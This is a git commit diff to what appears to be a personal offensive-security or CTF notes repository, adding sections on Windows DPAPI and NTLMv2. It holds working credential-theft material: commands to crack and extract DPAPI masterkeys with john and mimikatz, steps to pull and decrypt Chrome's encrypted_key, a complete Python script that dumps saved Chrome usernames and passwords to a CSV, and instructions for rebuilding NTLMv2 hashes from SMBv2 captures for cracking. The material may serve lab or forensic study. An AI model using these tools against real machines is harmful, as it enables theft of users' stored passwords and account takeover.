added information about DPAPI decryption and reconstruction of NTLMv2 hashes through SMBv2 via Wireshark.
This commit is contained in:
parent
fc17f75721
commit
97317fcefa
|
@ -5,7 +5,166 @@
|
||||||
* [tinyapps' replace and recover domian cached credentials](https://tinyapps.org/docs/domain-cached-credentials.html)
|
* [tinyapps' replace and recover domian cached credentials](https://tinyapps.org/docs/domain-cached-credentials.html)
|
||||||
* [ired's reading dpapi encrypted secrets with mimikatz and c++](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++)
|
* [ired's reading dpapi encrypted secrets with mimikatz and c++](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++)
|
||||||
|
|
||||||
## Tools
|
## Extract DPAPI Masterkey from AppData
|
||||||
|
|
||||||
|
First find the user passwords inside `C:\Users\<user>\AppData\Roaming\Microsoft\Protect\<SID>\<MasterkeyFile>`
|
||||||
|
|
||||||
|
```sh
|
||||||
|
DPAPImk2john --sid <SID> --masterkey <PathToMasterKeyFile> --context local > hash.txt
|
||||||
|
john --wordlist=<wordlist> hash.txt
|
||||||
|
```
|
||||||
|
|
||||||
|
Use mimikatz on windows to extract the masterkey after the password has been discovered.
|
||||||
|
|
||||||
|
```sh
|
||||||
|
mimikatz
|
||||||
|
dpapi::masterkey /in:<AbsolutePathtoMasterKeyFile> /sid:<SID> /password:<password> /protected
|
||||||
|
```
|
||||||
|
|
||||||
|
This master key is used to derive keys for encryption or encrypt other keys
|
||||||
|
instead of just encrypting files directly through DPAPI.
|
||||||
|
|
||||||
|
## Use a DPAPI Masterkey to Decrypt an Encrypted Blob
|
||||||
|
|
||||||
|
The found masterkey can be used to decrypt encrypted data or even other keys
|
||||||
|
which are used for file encryption.
|
||||||
|
Use mimikatz to extract data/keys from an encrypted blob.
|
||||||
|
|
||||||
|
```sh
|
||||||
|
mimikatz
|
||||||
|
dpapi::blob /in:<AbsolutePathtoEncryptedFile> /unprotect /masterkey:<FoundMasterkey> /out:"./decrypted_blob"
|
||||||
|
```
|
||||||
|
|
||||||
|
### Use of DPAPI in Google Chrome
|
||||||
|
|
||||||
|
Google Chrome encrypts the key of which is used for password vaults of the
|
||||||
|
users. The `encrypted_key` inside a JSON file named `Local State` is an DPAPI
|
||||||
|
encrypted key. Get the key through using jq.
|
||||||
|
|
||||||
|
```sh
|
||||||
|
jq .os_crypt.encrypted_key -r AppData/Local/Google/Chrome/User\ Data/\Local\ State
|
||||||
|
```
|
||||||
|
|
||||||
|
The `encrypted_key` itself is encrypted through DPAPI. To decrypt it, base64
|
||||||
|
decode it at first and remove the first 5 characters, which are `DPAPI` from
|
||||||
|
the decoded string.
|
||||||
|
|
||||||
|
```sh
|
||||||
|
jq .os_crypt.encrypted_key -r \
|
||||||
|
AppData/Local/Google/Chrome/User\ Data/\Local\ State | \
|
||||||
|
base64 -d | \
|
||||||
|
cut -c-6- > encrypted_key.dat
|
||||||
|
```
|
||||||
|
|
||||||
|
This `encrypted_key.dat` is used to encrypt data inside the sqlite database inside
|
||||||
|
`AppData/Local/Google/Chrome/User\ Data/Default/Login\ Data`.
|
||||||
|
|
||||||
|
```sh
|
||||||
|
mimikatz
|
||||||
|
dpapi::blob /in:"./encrypted_key.dat" /unprotect /masterkey:<FoundMasterkey> /out:"./decrypted.key"
|
||||||
|
```
|
||||||
|
|
||||||
|
Decrypt the Database via a modified version of
|
||||||
|
[ohyicong](https://github.com/ohyicong/decrypt-chrome-passwords.git), depending
|
||||||
|
on the following circumstances.
|
||||||
|
|
||||||
|
* Modify the secret_key function if you got the key through AppData and cannot log in as the user you want to attack
|
||||||
|
* Modify the column names of select query, depending on the version of Chrome
|
||||||
|
|
||||||
|
```python
|
||||||
|
#Full Credits to LimerBoy
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
import sys
|
||||||
|
import json
|
||||||
|
import base64
|
||||||
|
import sqlite3
|
||||||
|
import win32crypt
|
||||||
|
from Cryptodome.Cipher import AES
|
||||||
|
import shutil
|
||||||
|
import csv
|
||||||
|
|
||||||
|
#GLOBAL CONSTANT
|
||||||
|
CHROME_PATH_LOCAL_STATE = os.path.normpath(r"%s\Desktop\AppData\Local\Google\Chrome\User Data\Local State"%(os.environ['USERPROFILE']))
|
||||||
|
CHROME_PATH = os.path.normpath(r"%s\Desktop\AppData\Local\Google\Chrome\User Data"%(os.environ['USERPROFILE']))
|
||||||
|
|
||||||
|
def get_secret_key():
|
||||||
|
with open('./decrypted.key', 'rb') as f:
|
||||||
|
return f.read()
|
||||||
|
|
||||||
|
def decrypt_payload(cipher, payload):
|
||||||
|
return cipher.decrypt(payload)
|
||||||
|
|
||||||
|
def generate_cipher(aes_key, iv):
|
||||||
|
return AES.new(aes_key, AES.MODE_GCM, iv)
|
||||||
|
|
||||||
|
def decrypt_password(ciphertext, secret_key):
|
||||||
|
try:
|
||||||
|
#(3-a) Initialisation vector for AES decryption
|
||||||
|
initialisation_vector = ciphertext[3:15]
|
||||||
|
#(3-b) Get encrypted password by removing suffix bytes (last 16 bits)
|
||||||
|
#Encrypted password is 192 bits
|
||||||
|
encrypted_password = ciphertext[15:-16]
|
||||||
|
#(4) Build the cipher to decrypt the ciphertext
|
||||||
|
cipher = generate_cipher(secret_key, initialisation_vector)
|
||||||
|
decrypted_pass = decrypt_payload(cipher, encrypted_password)
|
||||||
|
decrypted_pass = decrypted_pass.decode()
|
||||||
|
return decrypted_pass
|
||||||
|
except Exception as e:
|
||||||
|
print("%s"%str(e))
|
||||||
|
print("[ERR] Unable to decrypt, Chrome version <80 not supported. Please check.")
|
||||||
|
return ""
|
||||||
|
|
||||||
|
def get_db_connection(chrome_path_login_db):
|
||||||
|
try:
|
||||||
|
print(chrome_path_login_db)
|
||||||
|
shutil.copy2(chrome_path_login_db, "Loginvault.db")
|
||||||
|
return sqlite3.connect("Loginvault.db")
|
||||||
|
except Exception as e:
|
||||||
|
print("%s"%str(e))
|
||||||
|
print("[ERR] Chrome database cannot be found")
|
||||||
|
return None
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
try:
|
||||||
|
#Create Dataframe to store passwords
|
||||||
|
with open('decrypted_password.csv', mode='w', newline='', encoding='utf-8') as decrypt_password_file:
|
||||||
|
csv_writer = csv.writer(decrypt_password_file, delimiter=',')
|
||||||
|
csv_writer.writerow(["index","url","username","password"])
|
||||||
|
#(1) Get secret key
|
||||||
|
secret_key = get_secret_key()
|
||||||
|
#Search user profile or default folder (this is where the encrypted login password is stored)
|
||||||
|
folders = [element for element in os.listdir(CHROME_PATH) if re.search("^Profile*|^Default$",element)!=None]
|
||||||
|
for folder in folders:
|
||||||
|
#(2) Get ciphertext from sqlite database
|
||||||
|
chrome_path_login_db = os.path.normpath(r"%s\%s\Login Data"%(CHROME_PATH,folder))
|
||||||
|
conn = get_db_connection(chrome_path_login_db)
|
||||||
|
if(secret_key and conn):
|
||||||
|
cursor = conn.cursor()
|
||||||
|
cursor.execute("SELECT origin_url, username_value, password_value FROM logins")
|
||||||
|
for index,login in enumerate(cursor.fetchall()):
|
||||||
|
url = login[0]
|
||||||
|
username = login[1]
|
||||||
|
ciphertext = login[2]
|
||||||
|
if(url!="" and username!="" and ciphertext!=""):
|
||||||
|
#(3) Filter the initialisation vector & encrypted password from ciphertext
|
||||||
|
#(4) Use AES algorithm to decrypt the password
|
||||||
|
decrypted_password = decrypt_password(ciphertext, secret_key)
|
||||||
|
print("Sequence: %d"%(index))
|
||||||
|
print("URL: %s\nUser Name: %s\nPassword: %s\n"%(url,username,decrypted_password))
|
||||||
|
print("*"*50)
|
||||||
|
#(5) Save into CSV
|
||||||
|
csv_writer.writerow([index,url,username,decrypted_password])
|
||||||
|
#Close database connection
|
||||||
|
cursor.close()
|
||||||
|
conn.close()
|
||||||
|
#Delete temp login db
|
||||||
|
os.remove("Loginvault.db")
|
||||||
|
except Exception as e:
|
||||||
|
print("[ERR] %s"%str(e))
|
||||||
|
```
|
||||||
|
|
||||||
|
## Other Tools
|
||||||
|
|
||||||
* [tjldeneut's dpaping-lab](https://github.com/tijldeneut/dpapilab-ng.git)
|
* [tjldeneut's dpaping-lab](https://github.com/tijldeneut/dpapilab-ng.git)
|
||||||
* [BlackDiverX's unpacked cqtools]( https://github.com/BlackDiverX/cqtools)
|
* [BlackDiverX's unpacked cqtools]( https://github.com/BlackDiverX/cqtools)
|
||||||
|
|
|
@ -18,3 +18,22 @@ Search for the DNS requests containing the specific top level domain.
|
||||||
```sh
|
```sh
|
||||||
tshark -r capture.pcapng -Y 'dns && ip.dst==167.71.211.113 && (dns contains xyz)' -T fields -e dns.qry.name | awk -F '.' '{print $1}' | uniq > dns.out
|
tshark -r capture.pcapng -Y 'dns && ip.dst==167.71.211.113 && (dns contains xyz)' -T fields -e dns.qry.name | awk -F '.' '{print $1}' | uniq > dns.out
|
||||||
```
|
```
|
||||||
|
|
||||||
|
## NTLMv2 hash Reconstruction via SMBv2
|
||||||
|
|
||||||
|
Session setup of SMBv2 leaves enough information to reconstruct the NTLMv2 hash.
|
||||||
|
Take a look at the second and third packets of the initialization, namely
|
||||||
|
`Session Setup Response, Error: STATUS_MORE_PROCESSING_REQUIRED, NTLMSSP_CHALLENGE`
|
||||||
|
and `Session Setup Request, NTLMSSP_AUTH, User: <DOMAIN\USERNAME>`.
|
||||||
|
|
||||||
|
The scheme of an NTLMv2 hash is the following.
|
||||||
|
|
||||||
|
```
|
||||||
|
[User name]::[Domain name]:[NTLM Server Challenge]:[NTProofStr]:[Rest of NTLMv2 Response]
|
||||||
|
```
|
||||||
|
|
||||||
|
The `NTLM Server Challenge` can be found inside the `Security Blob` of the
|
||||||
|
request from the server.
|
||||||
|
`User name`, `Domain name` and `NTLMv2 Response` can be found inside the
|
||||||
|
`Security Blob` inside the response sent by the client. `NTProofStr` is the
|
||||||
|
first part of the `NTLM Response`. Set a `:` between `NTProofStr` and the rest of the `NTLMv2 Response`.
|
||||||
|
|
Loading…
Reference in New Issue